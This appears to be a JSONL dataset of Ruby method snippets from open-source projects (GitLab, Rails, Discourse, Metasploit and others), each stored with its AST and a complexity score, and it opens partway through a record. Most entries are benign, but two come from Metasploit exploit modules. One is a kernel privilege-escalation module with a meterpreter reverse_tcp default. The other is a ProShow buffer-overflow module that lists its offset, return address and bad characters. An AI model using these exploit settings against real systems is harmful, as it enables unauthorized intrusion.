"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/oss-sec/2017/q3/277\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x64/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_OS_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"COMPILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Compile on target\"]},{\"type\":\"str\",\"children\":[\"Auto\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Auto\"]},{\"type\":\"str\",\"children\":[\"True\"]},{\"type\":\"str\",\"children\":[\"False\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WritableDir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A directory where we can write files\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]}]}]}]}]}]}","id":"35a49a05-d0ce-4fea-baa9-24ea2e24642b"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/adjustable/adjuster/tax.rb","start_line":5,"raw_source":"def update\n          tax = adjustments.tax\n          included_tax_total = tax.find_all(&:included?).map(&:update!).compact.sum || 0\n          additional_tax_total = tax.find_all(&:additional?).map(&:update!).compact.sum || 0\n\n          update_totals(included_tax_total, additional_tax_total)\n        end","complexity_score":26.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tax\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adjustments\"]},\"tax\"]}]},{\"type\":\"lvasgn\",\"children\":[\"included_tax_total\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tax\"]},\"find_all\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"included?\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"update!\"]}]}]},\"compact\"]},\"sum\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"additional_tax_total\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tax\"]},\"find_all\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional?\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"update!\"]}]}]},\"compact\"]},\"sum\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"update_totals\",{\"type\":\"lvar\",\"children\":[\"included_tax_total\"]},{\"type\":\"lvar\",\"children\":[\"additional_tax_total\"]}]}]}]}","id":"938e6917-d3d1-49bd-b234-c76df6492170"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data/topology.rb","start_line":24,"raw_source":"def to_h\n          { query => error }\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},{\"type\":\"send\",\"children\":[null,\"error\"]}]}]}]}","id":"3bbbdce6-d88d-4b1f-96f1-f6accc5d0115"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/meterpreter.rb","start_line":42,"raw_source":"def tunnel_to_s\n    if self.pivot_session\n      \"Pivot via [#{self.pivot_session.tunnel_to_s}]\"\n    else\n      super\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"tunnel_to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pivot_session\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Pivot via [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pivot_session\"]},\"tunnel_to_s\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"3bfe4d3f-316b-41e8-bf28-fadc04964ec5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":477,"raw_source":"def self.task_arguments(options)\n    case options[:task]\n    when \"scan\", \"sync\"\n      [options[:userid]]\n    when \"remove_snapshot\", \"revert_to_snapshot\"\n      [options[:snap_selected]]\n    when \"create_snapshot\"\n      [options[:name], options[:description], options[:memory]]\n    else\n      super\n    end\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"task_arguments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"task\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"scan\"]},{\"type\":\"str\",\"children\":[\"sync\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"remove_snapshot\"]},{\"type\":\"str\",\"children\":[\"revert_to_snapshot\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"snap_selected\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"create_snapshot\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"memory\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"61c1651f-8e7e-4f81-9642-2285b5e58a51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/features/experiment_tracking_helper.rb","start_line":69,"raw_source":"def format_event(event, expected_event)\n    return event.action unless expected_event.is_a?(Hash)\n\n    expected_event.keys.index_with do |key|\n      event.public_send(key)\n    end\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"format_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"expected_event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_event\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"action\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_event\"]},\"keys\"]},\"index_with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"ed529032-3716-43cc-9086-5360e5dc7b14"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/test_case.rb","start_line":175,"raw_source":"def determine_default_connection(name)\n            connection = determine_constant_from_test_name(name) do |constant|\n              Class === constant && constant < ActionCable::Connection::Base\n            end\n            raise NonInferrableConnectionError.new(name) if connection.nil?\n            connection\n          end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"determine_default_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"determine_constant_from_test_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constant\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"constant\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"constant\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"Connection\"]},\"Base\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NonInferrableConnectionError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"connection\"]}]}]}","id":"9900de4a-c4d1-4bc8-a939-77d0d8c41302"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/uploads/migration_helper.rb","start_line":18,"raw_source":"def migrate_to_local_storage\n        @to_store = ObjectStorage::Store::LOCAL\n\n        uploads(ObjectStorage::Store::REMOTE).each_batch(of: batch_size, &method(:enqueue_batch))\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate_to_local_storage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@to_store\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectStorage\"]},\"Store\"]},\"LOCAL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uploads\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectStorage\"]},\"Store\"]},\"REMOTE\"]}]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"send\",\"children\":[null,\"batch_size\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"enqueue_batch\"]}]}]}]}]}]}","id":"a0829411-e220-4fcb-8a8c-b507a2cd03ad"}
{"repo_name":"hooks","file_path":"./repos/hooks/spec/integration/global_lifecycle_hooks_spec.rb","start_line":132,"raw_source":"def increment(metric_name, tags = {})\n        @collector << { action: :increment, metric: metric_name, tags: }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"increment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric_name\"]},{\"type\":\"optarg\",\"children\":[\"tags\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collector\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"increment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metric\"]},{\"type\":\"lvar\",\"children\":[\"metric_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]}]}","id":"661b009f-cbaf-415b-8b26-45c5e8031c46"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/base.rb","start_line":1900,"raw_source":"def process_poll(poll)\n    poll[:id] = @last_poll_id += 1\n    poll[:created_at] ||= NOW\n    poll[:updated_at] ||= NOW\n\n    @imported_records[poll[:original_id].to_s] = poll[:id]\n    @poll_mapping[poll[:original_id].to_s] = poll[:id]\n\n    poll\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"process_poll\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"poll\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@last_poll_id\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"const\",\"children\":[null,\"NOW\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"updated_at\"]}]},{\"type\":\"const\",\"children\":[null,\"NOW\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@imported_records\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original_id\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@poll_mapping\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original_id\"]}]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"poll\"]}]}]}","id":"f70e8faf-1e1f-4acd-b257-be50f022ff9a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/marginalia_spec.rb","start_line":29,"raw_source":"def perform\n      Gitlab::ApplicationContext.with_context(caller_id: self.class.name) do\n        User.first\n      end\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ApplicationContext\"]},\"with_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caller_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"first\"]}]}]}","id":"428313c2-b411-4a94-ba00-2e3ffe88e1fe"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/class_and_module_camel_case.rb","start_line":32,"raw_source":"def on_class(node)\n          return unless node.loc.name.source.include?('_')\n\n          allowed = /#{cop_config['AllowedNames'].join('|')}/\n          name = node.loc.name.source.gsub(allowed, '')\n          return unless name.include?('_')\n\n          add_offense(node.loc.name)\n        end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"name\"]},\"source\"]},\"include?\",{\"type\":\"str\",\"children\":[\"_\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"allowed\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AllowedNames\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"name\"]},\"source\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"allowed\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"include?\",{\"type\":\"str\",\"children\":[\"_\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"name\"]}]}]}]}","id":"7e5dbb26-db5b-4879-95b3-5c26d8aabd74"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gpg/commit.rb","start_line":77,"raw_source":"def gpg_signatures\n        strong_memoize(:gpg_signatures) do\n          signatures = []\n\n          GPGME::Crypto.new.verify(signature_text, signed_text: signed_text) do |verified_signature|\n            signatures << verified_signature\n          end\n\n          signatures\n        rescue GPGME::Error\n          []\n        end\n      end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"gpg_signatures\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"gpg_signatures\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"signatures\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GPGME\"]},\"Crypto\"]},\"new\"]},\"verify\",{\"type\":\"send\",\"children\":[null,\"signature_text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signed_text\"]},{\"type\":\"send\",\"children\":[null,\"signed_text\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"verified_signature\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signatures\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"verified_signature\"]}]}]},{\"type\":\"lvar\",\"children\":[\"signatures\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GPGME\"]},\"Error\"]}]},null,{\"type\":\"array\",\"children\":[]}]},null]}]}]}","id":"918d0a06-928a-4ea7-bc08-b62a5f512bc1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/optimized_image.rb","start_line":222,"raw_source":"def self.thumbnail_or_resize\n    SiteSetting.strip_image_metadata ? \"thumbnail\" : \"resize\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"thumbnail_or_resize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"strip_image_metadata\"]},{\"type\":\"str\",\"children\":[\"thumbnail\"]},{\"type\":\"str\",\"children\":[\"resize\"]}]}]}","id":"d0ab5e01-6d8d-4a72-85e2-ff7e43e475d0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_value/int_strategy.rb","start_line":38,"raw_source":"def formatted_value\n    return \"\" if value.blank?\n\n    number_with_delimiter(value.to_s)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"to_s\"]}]}]}]}","id":"f61f9d58-776f-4637-9523-0156adfc062e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/proshow_load_bof.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack-based buffer overflow in Photodex ProShow Producer\n          v5.0.3256 in the handling of the plugins load list file. An attacker must send the\n          crafted \"load\" file to victim, who must store it in the installation directory. The\n          vulnerability will be triggered the next time ProShow is opened. The module has been\n          tested successfully on Windows XP SP3 and Windows 7 SP1.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Julien Ahrens', # Vulnerability discovery and PoC\n          'mr.pr0n', # Additional PoC\n          'juan vazquez', # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2012-10051' ],\n          [ 'OSVDB', '83745' ],\n          [ 'EDB', '19563' ],\n          [ 'EDB', '20036' ],\n          [ 'URL', 'http://security.inshell.net/advisory/30' ]\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 9844,\n          'BadChars' => \"\\x00\\x0a\\x0d\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            'Photodex ProShow Producer 5.0.3256 / Windows XP SP3 / Windows 7 SP1',\n            {\n              'Offset' => 9844,\n              'Ret' => 0x1022A959 # p/p/r from if.dnt\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-06-06',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ true, 'The file name.', 'load']),\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack-based buffer overflow in Photodex ProShow Producer\\n\"]},{\"type\":\"str\",\"children\":[\"          v5.0.3256 in the handling of the plugins load list file. An attacker must send the\\n\"]},{\"type\":\"str\",\"children\":[\"          crafted \\\"load\\\" file to victim, who must store it in the installation directory. The\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability will be triggered the next time ProShow is opened. The module has been\\n\"]},{\"type\":\"str\",\"children\":[\"          tested successfully on Windows XP SP3 and Windows 7 SP1.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Julien Ahrens\"]},{\"type\":\"str\",\"children\":[\"mr.pr0n\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-10051\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"83745\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"19563\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"20036\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://security.inshell.net/advisory/30\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\